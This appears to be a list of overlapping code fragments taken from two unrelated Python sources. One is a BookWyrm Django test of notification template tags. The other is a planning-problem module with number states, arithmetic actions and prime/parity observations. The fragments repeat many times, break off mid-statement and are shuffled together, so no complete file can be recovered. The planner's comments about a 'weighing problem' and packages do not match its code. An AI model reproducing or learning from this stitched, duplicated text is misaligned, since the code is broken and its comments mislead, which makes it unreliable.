\"<EMAIL>\", \"<EMAIL>\",", "with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\", user=self.user) notification = models.Notification.objects.create( user=self.user, notification_type=\"MENTION\", related_status=status )", "\"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\", ) def", "bookwyrm import models from bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta different", "from bookwyrm import models from bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta", "models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\", ) def test_related_status(self, *_): \"\"\"gets the subclass", "NotificationPageTags(TestCase): \"\"\"lotta different things here\"\"\" def setUp(self): \"\"\"create some filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"),", "patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\", ) def test_related_status(self, *_):", "django.test import TestCase from bookwyrm import models from bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\")", "for a notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\", user=self.user) notification = models.Notification.objects.create(", "self.user = models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\", ) def test_related_status(self, *_): \"\"\"gets", "with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True,", "patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user = models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\", )", "\"\"\" style fixes and lookups for templates \"\"\" from unittest.mock import patch from", "bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta different things here\"\"\" def setUp(self):", "from bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta different things here\"\"\" def", "@patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta different things here\"\"\" def setUp(self): \"\"\"create some filler", "things here\"\"\" def setUp(self): \"\"\"create some filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ),", "\"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\", ) def test_related_status(self, *_): \"\"\"gets the subclass model", "= models.Status.objects.create(content=\"hi\", user=self.user) notification = models.Notification.objects.create( user=self.user, notification_type=\"MENTION\", related_status=status ) result = notification_page_tags.related_status(notification)", "status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\", user=self.user) notification = models.Notification.objects.create( user=self.user, notification_type=\"MENTION\", related_status=status", "import patch from django.test import TestCase from bookwyrm import models from bookwyrm.templatetags import", "setUp(self): \"\"\"create some filler objects\"\"\" with patch(\"bookwyrm.suggested_users.rerank_suggestions_task.delay\"), patch( \"bookwyrm.activitystreams.populate_stream_task.delay\" ), patch(\"bookwyrm.lists_stream.populate_lists_task.delay\"): self.user =", "the subclass model for a notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\", user=self.user)", "localname=\"mouse\", ) def test_related_status(self, *_): \"\"\"gets the subclass model for a notification status\"\"\"", "\"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\", ) def test_related_status(self, *_): \"\"\"gets the subclass model for", "subclass model for a notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\", user=self.user) notification", "import models from bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase): \"\"\"lotta different things", "TestCase from bookwyrm import models from bookwyrm.templatetags import notification_page_tags @patch(\"bookwyrm.activitystreams.add_status_task.delay\") @patch(\"bookwyrm.activitystreams.remove_status_task.delay\") class NotificationPageTags(TestCase):", "a notification status\"\"\" with patch(\"bookwyrm.models.activitypub_mixin.broadcast_task.apply_async\"): status = models.Status.objects.create(content=\"hi\", user=self.user) notification = models.Notification.objects.create( user=self.user,", "= models.User.objects.create_user( \"<EMAIL>\", \"<EMAIL>\", \"mouseword\", local=True, localname=\"mouse\", ) def test_related_status(self, *_): \"\"\"gets the", "local=True, localname=\"mouse\", ) def test_related_status(self, *_): \"\"\"gets the subclass model for a notification" ]
[ "def applActions(self): actions1 = [] actions2 = [] actions3 = [] if self.n", "Actions # observations observations possible after the action ### Description # # In", "# Successors of a state w.r.t. an action def succs(self,action): if isinstance(action,NumMod2): s", "[1,2,3,...,N] there is # one initial state. Initially the 'chosen' package is -1.", "state compatible with an observation? # Actions # observations observations possible after the", "weighing problem class OBSprime: def __init__(self): self.dummy = 1 def __str__(self): return \"prime\"", "actions can only be taken if no package has been chosen, # so", "Test that execution from every initial state reaches goals. for state in inits:", "2 return {s} if isinstance(action,NumMinus1): s = self.clonestate() s.n = self.n - 1", "self.clonestate() s.n = self.n + 1 return {s} if isinstance(action,NumPlus2): if self.n <", "problem class NumState: def __init__(self,n): self.n = n def __hash__(self): return self.n def", "1 and self.n <= 7: actions1 = [ NumMinus1() ] if self.n >=", "number as the initial # state, and the goal is to transform that", "which have different observations # which test whether the number is a prime", "state, and the goal is to transform that number to 1 by #", "### Observations for the weighing problem class OBSprime: def __init__(self): self.dummy = 1", "return set() s = self.clonestate() s.n = self.n + 1 return {s} if", "__name__ == \"__main__\": instance = NUMproblem() inits,goals,actions = instance for s in inits:", "N packages def NUMproblem(): actions = [ NumPlus2(), NumMinus1(), NumMod2() ] return (NUMinit(),NUMgoal(),actions)", "print(\"Plan found: size \" + str(plan.plansize()) + \" depth \" + str(plan.plandepth())) #", "isinstance(other,NumPlus2) def __hash__(self): return 1 def observations(self): return [OBSodd(),OBSeven()] class NumMod2: def __init__(self):", "7: actions3 = [ NumMod2() ] return actions1 + actions2 + actions3 #", "w.r.t. action # compatible Is the state compatible with an observation? # Actions", "a state? # Both actions can only be taken if no package has", "<= 5: actions2 = [ NumPlus2() ] if self.n >= 1 and self.n", "for s in plan.plan2str(): print(s) # Show plan statistics print(\"Plan found: size \"", "__init__(self): self.dummy = 0 def __str__(self): return \"Mod2\" def __eq__(self,other): return isinstance(other,NumMod2) def", "isinstance(action,NumPlus2): s = self.clonestate() s.n = self.n + 2 return {s} raise Exception(\"Unrecognized", "[OBSprime(),OBScomposite()] class NumPlus2: def __init__(self): self.dummy = 0 def __str__(self): return \"Plus2\" def", "isinstance(other,NumState) and self.n == other.n def __str__(self): return str(self.n) def clonestate(self): return NumState(self.n)", "# so the last action in every execution is always WeightChoose. def applActions(self):", "[4,6]) if isinstance(observation,OBSnothingN): return True raise Exception(\"Unrecognized observation \" + str(observation)) import itertools", "__str__(self): return \"composite\" class OBSodd: def __init__(self): self.dummy = 1 def __str__(self): return", "state compatible with the observation? def compatible(self,observation): if isinstance(observation,OBSeven): return (self.n % 2", "0: return set([ NumState(i) for i in [0,2,4,6]]) else: return set([ NumState(i) for", "return { NumState(i) for i in range(0,6) } # Goal states are all", "state # succs successor states of the state w.r.t. action # preds predecessor", "def __init__(self): self.dummy = 1 def __str__(self): return \"even\" class OBSnothingN: def __init__(self):", "actions3 = [] if self.n >= 1 and self.n <= 7: actions1 =", "one initial state. Initially the 'chosen' package is -1. def NUMinit(): return {", "return {s} raise Exception(\"Unrecognized action \" + str(action)) # Predecessors of a state", "applicabable in the state # succs successor states of the state w.r.t. action", "NumMod2() ] return actions1 + actions2 + actions3 # Successors of a state", "self.n - 2 return {s} raise Exception(\"Unrecognized action \" + str(action)) # Is", "s.n = self.n - 1 return {s} if isinstance(action,NumPlus2): s = self.clonestate() s.n", "and the goal is to transform that number to 1 by # actions", "states is \" + str(len(inits))) plan = POsolver(instance) if plan == None: print(\"No", "a randomly picked number as the initial # state, and the goal is", "s = self.clonestate() s.n = self.n + 2 return {s} raise Exception(\"Unrecognized action", "+ str(action)) # Predecessors of a state w.r.t. an action def preds(self,action): if", "the goal is to transform that number to 1 by # actions -1,", "return {s} if isinstance(action,NumPlus2): s = self.clonestate() s.n = self.n + 2 return", "weighing problem class NumState: def __init__(self,n): self.n = n def __hash__(self): return self.n", "__init__(self,n): self.n = n def __hash__(self): return self.n def __eq__(self,other): return isinstance(other,NumState) and", "or odd. # ### Observations for the weighing problem class OBSprime: def __init__(self):", "inits,goals,actions = instance for s in inits: print(str(s)) print(\"Number of initial states is", "+ 2 return {s} raise Exception(\"Unrecognized action \" + str(action)) # Predecessors of", "self.n + 2 return {s} raise Exception(\"Unrecognized action \" + str(action)) # Predecessors", "# # States # applActions actions applicabable in the state # succs successor", "Show plan's text representation (a list of strings). for s in plan.plan2str(): print(s)", "= self.clonestate() s.n = self.n % 2 return {s} if isinstance(action,NumMinus1): s =", "s in inits: print(str(s)) print(\"Number of initial states is \" + str(len(inits))) plan", "is # one initial state. Initially the 'chosen' package is -1. def NUMinit():", "NumState(i) for i in [0,2,4,6]]) else: return set([ NumState(i) for i in [1,3,5,7]])", "__hash__(self): return self.n def __eq__(self,other): return isinstance(other,NumState) and self.n == other.n def __str__(self):", "NumMinus1: def __init__(self): self.dummy = 0 def __str__(self): return \"Minus1\" def __eq__(self,other): return", "taken if no package has been chosen, # so the last action in", "__str__(self): return \"even\" class OBSnothingN: def __init__(self): self.dummy = 1 def __str__(self): return", "return actions1 + actions2 + actions3 # Successors of a state w.r.t. an", "% 2 return {s} if isinstance(action,NumMinus1): s = self.clonestate() s.n = self.n -", "is even or odd. # ### Observations for the weighing problem class OBSprime:", "OBSprime: def __init__(self): self.dummy = 1 def __str__(self): return \"prime\" class OBScomposite: def", "{s} if isinstance(action,NumMinus1): s = self.clonestate() s.n = self.n - 1 return {s}", "(self.n in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return (self.n in [4,6]) if isinstance(observation,OBSnothingN): return True", "return [OBSprime(),OBScomposite()] class NumPlus2: def __init__(self): self.dummy = 0 def __str__(self): return \"Plus2\"", "set([ NumState(i) for i in [0,2,4,6]]) else: return set([ NumState(i) for i in", "if self.n >= 1 and self.n <= 7: actions3 = [ NumMod2() ]", "set() s = self.clonestate() s.n = self.n - 2 return {s} raise Exception(\"Unrecognized", "return True raise Exception(\"Unrecognized observation \" + str(observation)) import itertools # For every", "NUMinit(): return { NumState(i) for i in range(0,6) } # Goal states are", "self.n == 0: return set([ NumState(i) for i in [0,2,4,6]]) else: return set([", "with observability # # States # applActions actions applicabable in the state #", "class OBSeven: def __init__(self): self.dummy = 1 def __str__(self): return \"even\" class OBSnothingN:", "state. Initially the 'chosen' package is -1. def NUMinit(): return { NumState(i) for", "the weighing problem class NumMinus1: def __init__(self): self.dummy = 0 def __str__(self): return", "observations(self): return [OBSodd(),OBSeven()] class NumMod2: def __init__(self): self.dummy = 0 def __str__(self): return", "= self.clonestate() s.n = self.n + 2 return {s} raise Exception(\"Unrecognized action \"", "None: print(\"No plan found\") else: # Show plan's text representation (a list of", "[ NumMinus1() ] if self.n >= 0 and self.n <= 5: actions2 =", "def compatible(self,observation): if isinstance(observation,OBSeven): return (self.n % 2 == 0) if isinstance(observation,OBSodd): return", "### Actions for the weighing problem class NumMinus1: def __init__(self): self.dummy = 0", "s.n = self.n - 2 return {s} raise Exception(\"Unrecognized action \" + str(action))", "WeightChoose. def applActions(self): actions1 = [] actions2 = [] actions3 = [] if", "i in range(0,6) } # Goal states are all permutations of the packages,", "with the observation? def compatible(self,observation): if isinstance(observation,OBSeven): return (self.n % 2 == 0)", "observation? # Actions # observations observations possible after the action ### Description #", "sys if __name__ == \"__main__\": instance = NUMproblem() inits,goals,actions = instance for s", "States for the weighing problem class NumState: def __init__(self,n): self.n = n def", "Initially the 'chosen' package is -1. def NUMinit(): return { NumState(i) for i", "the state # succs successor states of the state w.r.t. action # preds", "be taken if no package has been chosen, # so the last action", "< 2: return set() s = self.clonestate() s.n = self.n - 2 return", "and Mod 2, which have different observations # which test whether the number", "as the initial # state, and the goal is to transform that number", "__eq__(self,other): return isinstance(other,NumMinus1) def __hash__(self): return 0 def observations(self): return [OBSprime(),OBScomposite()] class NumPlus2:", "is a randomly picked number as the initial # state, and the goal", "is always WeightChoose. def applActions(self): actions1 = [] actions2 = [] actions3 =", "0) if isinstance(observation,OBSodd): return (self.n % 2 == 1) if isinstance(observation,OBSprime): return (self.n", "w.r.t. action # preds predecessor states of the state w.r.t. action # compatible", "if self.n > 6: return set() s = self.clonestate() s.n = self.n +", "= POsolver(instance) if plan == None: print(\"No plan found\") else: # Show plan's", "1 return {s} if isinstance(action,NumPlus2): s = self.clonestate() s.n = self.n + 2", "__str__(self): return str(self.n) def clonestate(self): return NumState(self.n) # Which actions applicable in a", "states of the state w.r.t. action # compatible Is the state compatible with", "return NumState(self.n) # Which actions applicable in a state? # Both actions can", "# For every permutation of the weights [1,2,3,...,N] there is # one initial", "there is a randomly picked number as the initial # state, and the", "True raise Exception(\"Unrecognized observation \" + str(observation)) import itertools # For every permutation", "if isinstance(observation,OBSeven): return (self.n % 2 == 0) if isinstance(observation,OBSodd): return (self.n %", "1 and self.n <= 7: actions3 = [ NumMod2() ] return actions1 +", "the state w.r.t. action # preds predecessor states of the state w.r.t. action", "self.n def __eq__(self,other): return isinstance(other,NumState) and self.n == other.n def __str__(self): return str(self.n)", "self.n < 2: return set() s = self.clonestate() s.n = self.n - 2", "s in plan.plan2str(): print(s) # Show plan statistics print(\"Plan found: size \" +", "__str__(self): return \"NOOBS\" ### Actions for the weighing problem class NumMinus1: def __init__(self):", "NumState(i) for i in range(0,6) } # Goal states are all permutations of", "actions applicable in a state? # Both actions can only be taken if", "return set([ NumState(i) for i in [1,3,5,7]]) if isinstance(action,NumMinus1): if self.n > 6:", "= self.n - 2 return {s} raise Exception(\"Unrecognized action \" + str(action)) #", "1 def __str__(self): return \"composite\" class OBSodd: def __init__(self): self.dummy = 1 def", "self.dummy = 1 def __str__(self): return \"prime\" class OBScomposite: def __init__(self): self.dummy =", "found\") else: # Show plan's text representation (a list of strings). for s", "str(action)) # Is the state compatible with the observation? def compatible(self,observation): if isinstance(observation,OBSeven):", "the action ### Description # # In this problem, there is a randomly", "state w.r.t. an action def preds(self,action): if isinstance(action,NumMod2): if self.n == 0: return", "strings). for s in plan.plan2str(): print(s) # Show plan statistics print(\"Plan found: size", "actions1 = [] actions2 = [] actions3 = [] if self.n >= 1", "actions3 = [ NumMod2() ] return actions1 + actions2 + actions3 # Successors", "actions2 = [ NumPlus2() ] if self.n >= 1 and self.n <= 7:", "and self.n == other.n def __str__(self): return str(self.n) def clonestate(self): return NumState(self.n) #", "the chosen package must be the one with weight N. def NUMgoal(): return", "+ \" depth \" + str(plan.plandepth())) # Test that execution from every initial", "depth \" + str(plan.plandepth())) # Test that execution from every initial state reaches", "all permutations of the packages, but # the chosen package must be the", "the initial # state, and the goal is to transform that number to", "n def __hash__(self): return self.n def __eq__(self,other): return isinstance(other,NumState) and self.n == other.n", "the observation? def compatible(self,observation): if isinstance(observation,OBSeven): return (self.n % 2 == 0) if", "state w.r.t. action # preds predecessor states of the state w.r.t. action #", "# Show plan's text representation (a list of strings). for s in plan.plan2str():", "states are all permutations of the packages, but # the chosen package must", "representation (a list of strings). for s in plan.plan2str(): print(s) # Show plan", "the weighing problem class OBSprime: def __init__(self): self.dummy = 1 def __str__(self): return", "self.dummy = 0 def __str__(self): return \"Mod2\" def __eq__(self,other): return isinstance(other,NumMod2) def __hash__(self):", "that execution from every initial state reaches goals. for state in inits: plan.validate(state,goals)", "if isinstance(observation,OBSprime): return (self.n in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return (self.n in [4,6]) if", "# # In this problem, there is a randomly picked number as the", "= self.clonestate() s.n = self.n - 2 return {s} raise Exception(\"Unrecognized action \"", "__eq__(self,other): return isinstance(other,NumMod2) def __hash__(self): return 1 def observations(self): return [OBSnothingN()] ### States", "(NUMinit(),NUMgoal(),actions) # Testing the algorithm with the weighing problem. from POplanFwd import POsolver", "def preds(self,action): if isinstance(action,NumMod2): if self.n == 0: return set([ NumState(i) for i", "or # if it is even or odd. # ### Observations for the", "in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return (self.n in [4,6]) if isinstance(observation,OBSnothingN): return True raise", "that number to 1 by # actions -1, +2, and Mod 2, which", "\" + str(observation)) import itertools # For every permutation of the weights [1,2,3,...,N]", "isinstance(observation,OBSeven): return (self.n % 2 == 0) if isinstance(observation,OBSodd): return (self.n % 2", "# ### Observations for the weighing problem class OBSprime: def __init__(self): self.dummy =", "\"NOOBS\" ### Actions for the weighing problem class NumMinus1: def __init__(self): self.dummy =", "def __hash__(self): return 0 def observations(self): return [OBSprime(),OBScomposite()] class NumPlus2: def __init__(self): self.dummy", "for i in [0,2,4,6]]) else: return set([ NumState(i) for i in [1,3,5,7]]) if", "weights [1,2,3,...,N] there is # one initial state. Initially the 'chosen' package is", "problem class NumMinus1: def __init__(self): self.dummy = 0 def __str__(self): return \"Minus1\" def", "actions = [ NumPlus2(), NumMinus1(), NumMod2() ] return (NUMinit(),NUMgoal(),actions) # Testing the algorithm", "def __init__(self): self.dummy = 1 def __str__(self): return \"odd\" class OBSeven: def __init__(self):", "def observations(self): return [OBSodd(),OBSeven()] class NumMod2: def __init__(self): self.dummy = 0 def __str__(self):", "in [1,3,5,7]]) if isinstance(action,NumMinus1): if self.n > 6: return set() s = self.clonestate()", "Observations for the weighing problem class OBSprime: def __init__(self): self.dummy = 1 def", "return (NUMinit(),NUMgoal(),actions) # Testing the algorithm with the weighing problem. from POplanFwd import", "state? # Both actions can only be taken if no package has been", "the state compatible with the observation? def compatible(self,observation): if isinstance(observation,OBSeven): return (self.n %", "self.dummy = 0 def __str__(self): return \"Plus2\" def __eq__(self,other): return isinstance(other,NumPlus2) def __hash__(self):", "NumState(self.n) # Which actions applicable in a state? # Both actions can only", "def __str__(self): return \"Minus1\" def __eq__(self,other): return isinstance(other,NumMinus1) def __hash__(self): return 0 def", "# Show plan statistics print(\"Plan found: size \" + str(plan.plansize()) + \" depth", "return \"Minus1\" def __eq__(self,other): return isinstance(other,NumMinus1) def __hash__(self): return 0 def observations(self): return", "\"__main__\": instance = NUMproblem() inits,goals,actions = instance for s in inits: print(str(s)) print(\"Number", "== 1) if isinstance(observation,OBSprime): return (self.n in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return (self.n in", "isinstance(observation,OBScomposite): return (self.n in [4,6]) if isinstance(observation,OBSnothingN): return True raise Exception(\"Unrecognized observation \"", "action # compatible Is the state compatible with an observation? # Actions #", "class NumMod2: def __init__(self): self.dummy = 0 def __str__(self): return \"Mod2\" def __eq__(self,other):", "goal is to transform that number to 1 by # actions -1, +2,", "print(\"Number of initial states is \" + str(len(inits))) plan = POsolver(instance) if plan", "1 def observations(self): return [OBSnothingN()] ### States for the weighing problem class NumState:", "and self.n <= 5: actions2 = [ NumPlus2() ] if self.n >= 1", "last action in every execution is always WeightChoose. def applActions(self): actions1 = []", "raise Exception(\"Unrecognized action \" + str(action)) # Is the state compatible with the", "NUMproblem() inits,goals,actions = instance for s in inits: print(str(s)) print(\"Number of initial states", "every permutation of the weights [1,2,3,...,N] there is # one initial state. Initially", "only be taken if no package has been chosen, # so the last", "if no package has been chosen, # so the last action in every", "so the last action in every execution is always WeightChoose. def applActions(self): actions1", "# if it is even or odd. # ### Observations for the weighing", "Is the state compatible with the observation? def compatible(self,observation): if isinstance(observation,OBSeven): return (self.n", "POsolver(instance) if plan == None: print(\"No plan found\") else: # Show plan's text", "def __str__(self): return \"composite\" class OBSodd: def __init__(self): self.dummy = 1 def __str__(self):", "self.n <= 7: actions1 = [ NumMinus1() ] if self.n >= 0 and", "# Generate a weighing problem with N packages def NUMproblem(): actions = [", "actions2 = [] actions3 = [] if self.n >= 1 and self.n <=", "no package has been chosen, # so the last action in every execution", "the packages, but # the chosen package must be the one with weight", "return isinstance(other,NumMod2) def __hash__(self): return 1 def observations(self): return [OBSnothingN()] ### States for", "+ str(len(inits))) plan = POsolver(instance) if plan == None: print(\"No plan found\") else:", "observability # # States # applActions actions applicabable in the state # succs", "print(\"No plan found\") else: # Show plan's text representation (a list of strings).", "OBSeven: def __init__(self): self.dummy = 1 def __str__(self): return \"even\" class OBSnothingN: def", "if self.n < 2: return set() s = self.clonestate() s.n = self.n -", "class OBSnothingN: def __init__(self): self.dummy = 1 def __str__(self): return \"NOOBS\" ### Actions", "Exception(\"Unrecognized action \" + str(action)) # Predecessors of a state w.r.t. an action", "= 0 def __str__(self): return \"Minus1\" def __eq__(self,other): return isinstance(other,NumMinus1) def __hash__(self): return", "__eq__(self,other): return isinstance(other,NumState) and self.n == other.n def __str__(self): return str(self.n) def clonestate(self):", "6: return set() s = self.clonestate() s.n = self.n + 1 return {s}", "Is the state compatible with an observation? # Actions # observations observations possible", "in [0,2,4,6]]) else: return set([ NumState(i) for i in [1,3,5,7]]) if isinstance(action,NumMinus1): if", "def NUMinit(): return { NumState(i) for i in range(0,6) } # Goal states", "statistics print(\"Plan found: size \" + str(plan.plansize()) + \" depth \" + str(plan.plandepth()))", "} # Goal states are all permutations of the packages, but # the", "- 2 return {s} raise Exception(\"Unrecognized action \" + str(action)) # Is the", "the weights [1,2,3,...,N] there is # one initial state. Initially the 'chosen' package", "if it is even or odd. # ### Observations for the weighing problem", "there is # one initial state. Initially the 'chosen' package is -1. def", "def __eq__(self,other): return isinstance(other,NumMinus1) def __hash__(self): return 0 def observations(self): return [OBSprime(),OBScomposite()] class", "State space problems with observability # # States # applActions actions applicabable in", "return \"composite\" class OBSodd: def __init__(self): self.dummy = 1 def __str__(self): return \"odd\"", "self.n >= 0 and self.n <= 5: actions2 = [ NumPlus2() ] if", "i in [0,2,4,6]]) else: return set([ NumState(i) for i in [1,3,5,7]]) if isinstance(action,NumMinus1):", "isinstance(observation,OBSnothingN): return True raise Exception(\"Unrecognized observation \" + str(observation)) import itertools # For", "a state w.r.t. an action def preds(self,action): if isinstance(action,NumMod2): if self.n == 0:", "in every execution is always WeightChoose. def applActions(self): actions1 = [] actions2 =", "= [] if self.n >= 1 and self.n <= 7: actions1 = [", "NumState(1) } # Generate a weighing problem with N packages def NUMproblem(): actions", "# Actions # observations observations possible after the action ### Description # #", "if __name__ == \"__main__\": instance = NUMproblem() inits,goals,actions = instance for s in", "NumMod2: def __init__(self): self.dummy = 0 def __str__(self): return \"Mod2\" def __eq__(self,other): return", "def __hash__(self): return 1 def observations(self): return [OBSnothingN()] ### States for the weighing", "2 == 0) if isinstance(observation,OBSodd): return (self.n % 2 == 1) if isinstance(observation,OBSprime):", "packages, but # the chosen package must be the one with weight N.", "clonestate(self): return NumState(self.n) # Which actions applicable in a state? # Both actions", "permutations of the packages, but # the chosen package must be the one", "plan found\") else: # Show plan's text representation (a list of strings). for", "if isinstance(action,NumMod2): if self.n == 0: return set([ NumState(i) for i in [0,2,4,6]])", "return {s} if isinstance(action,NumPlus2): if self.n < 2: return set() s = self.clonestate()", "package is -1. def NUMinit(): return { NumState(i) for i in range(0,6) }", "compatible Is the state compatible with an observation? # Actions # observations observations", "observations possible after the action ### Description # # In this problem, there", "if isinstance(action,NumMod2): s = self.clonestate() s.n = self.n % 2 return {s} if", "__init__(self): self.dummy = 1 def __str__(self): return \"NOOBS\" ### Actions for the weighing", "[] actions2 = [] actions3 = [] if self.n >= 1 and self.n", "# succs successor states of the state w.r.t. action # preds predecessor states", "= 1 def __str__(self): return \"even\" class OBSnothingN: def __init__(self): self.dummy = 1", "return (self.n % 2 == 1) if isinstance(observation,OBSprime): return (self.n in [0,1,2,3,5,7]) if", "return \"odd\" class OBSeven: def __init__(self): self.dummy = 1 def __str__(self): return \"even\"", "# observations observations possible after the action ### Description # # In this", "for s in inits: print(str(s)) print(\"Number of initial states is \" + str(len(inits)))", "{ NumState(i) for i in range(0,6) } # Goal states are all permutations", "print(s) # Show plan statistics print(\"Plan found: size \" + str(plan.plansize()) + \"", "class OBSprime: def __init__(self): self.dummy = 1 def __str__(self): return \"prime\" class OBScomposite:", "__str__(self): return \"odd\" class OBSeven: def __init__(self): self.dummy = 1 def __str__(self): return", "def observations(self): return [OBSprime(),OBScomposite()] class NumPlus2: def __init__(self): self.dummy = 0 def __str__(self):", "packages def NUMproblem(): actions = [ NumPlus2(), NumMinus1(), NumMod2() ] return (NUMinit(),NUMgoal(),actions) #", "\"Plus2\" def __eq__(self,other): return isinstance(other,NumPlus2) def __hash__(self): return 1 def observations(self): return [OBSodd(),OBSeven()]", "to transform that number to 1 by # actions -1, +2, and Mod", "different observations # which test whether the number is a prime or composite,", "in the state # succs successor states of the state w.r.t. action #", "+ str(plan.plansize()) + \" depth \" + str(plan.plandepth())) # Test that execution from", "preds(self,action): if isinstance(action,NumMod2): if self.n == 0: return set([ NumState(i) for i in", "= [] actions3 = [] if self.n >= 1 and self.n <= 7:", "a prime or composite, or # if it is even or odd. #", "an action def preds(self,action): if isinstance(action,NumMod2): if self.n == 0: return set([ NumState(i)", "__hash__(self): return 1 def observations(self): return [OBSnothingN()] ### States for the weighing problem", "= self.n + 1 return {s} if isinstance(action,NumPlus2): if self.n < 2: return", "plan.plan2str(): print(s) # Show plan statistics print(\"Plan found: size \" + str(plan.plansize()) +", "POplanFwd import POsolver import sys if __name__ == \"__main__\": instance = NUMproblem() inits,goals,actions", "def __hash__(self): return 1 def observations(self): return [OBSodd(),OBSeven()] class NumMod2: def __init__(self): self.dummy", "NumMinus1(), NumMod2() ] return (NUMinit(),NUMgoal(),actions) # Testing the algorithm with the weighing problem.", "2 return {s} raise Exception(\"Unrecognized action \" + str(action)) # Predecessors of a", "compatible with the observation? def compatible(self,observation): if isinstance(observation,OBSeven): return (self.n % 2 ==", "state w.r.t. action # compatible Is the state compatible with an observation? #", "2: return set() s = self.clonestate() s.n = self.n - 2 return {s}", "def __hash__(self): return self.n def __eq__(self,other): return isinstance(other,NumState) and self.n == other.n def", "even or odd. # ### Observations for the weighing problem class OBSprime: def", "+ str(plan.plandepth())) # Test that execution from every initial state reaches goals. for", "compatible(self,observation): if isinstance(observation,OBSeven): return (self.n % 2 == 0) if isinstance(observation,OBSodd): return (self.n", "<= 7: actions3 = [ NumMod2() ] return actions1 + actions2 + actions3", "in [4,6]) if isinstance(observation,OBSnothingN): return True raise Exception(\"Unrecognized observation \" + str(observation)) import", "observations(self): return [OBSnothingN()] ### States for the weighing problem class NumState: def __init__(self,n):", "+ str(observation)) import itertools # For every permutation of the weights [1,2,3,...,N] there", "are all permutations of the packages, but # the chosen package must be", "-1. def NUMinit(): return { NumState(i) for i in range(0,6) } # Goal", "= [ NumMod2() ] return actions1 + actions2 + actions3 # Successors of", "return isinstance(other,NumState) and self.n == other.n def __str__(self): return str(self.n) def clonestate(self): return", "Description # # In this problem, there is a randomly picked number as", "= [] actions2 = [] actions3 = [] if self.n >= 1 and", "> 6: return set() s = self.clonestate() s.n = self.n + 1 return", "def __init__(self): self.dummy = 1 def __str__(self): return \"NOOBS\" ### Actions for the", "applActions(self): actions1 = [] actions2 = [] actions3 = [] if self.n >=", "weight N. def NUMgoal(): return { NumState(1) } # Generate a weighing problem", "return (self.n in [0,1,2,3,5,7]) if isinstance(observation,OBScomposite): return (self.n in [4,6]) if isinstance(observation,OBSnothingN): return", "and self.n <= 7: actions3 = [ NumMod2() ] return actions1 + actions2", "def NUMproblem(): actions = [ NumPlus2(), NumMinus1(), NumMod2() ] return (NUMinit(),NUMgoal(),actions) # Testing", "\" + str(action)) # Predecessors of a state w.r.t. an action def preds(self,action):", "if self.n >= 1 and self.n <= 7: actions1 = [ NumMinus1() ]", "class OBScomposite: def __init__(self): self.dummy = 1 def __str__(self): return \"composite\" class OBSodd:", "problem. from POplanFwd import POsolver import sys if __name__ == \"__main__\": instance =", "For every permutation of the weights [1,2,3,...,N] there is # one initial state.", "# actions -1, +2, and Mod 2, which have different observations # which", "def __init__(self,n): self.n = n def __hash__(self): return self.n def __eq__(self,other): return isinstance(other,NumState)", "[OBSodd(),OBSeven()] class NumMod2: def __init__(self): self.dummy = 0 def __str__(self): return \"Mod2\" def", "self.n <= 7: actions3 = [ NumMod2() ] return actions1 + actions2 +", "def __init__(self): self.dummy = 1 def __str__(self): return \"composite\" class OBSodd: def 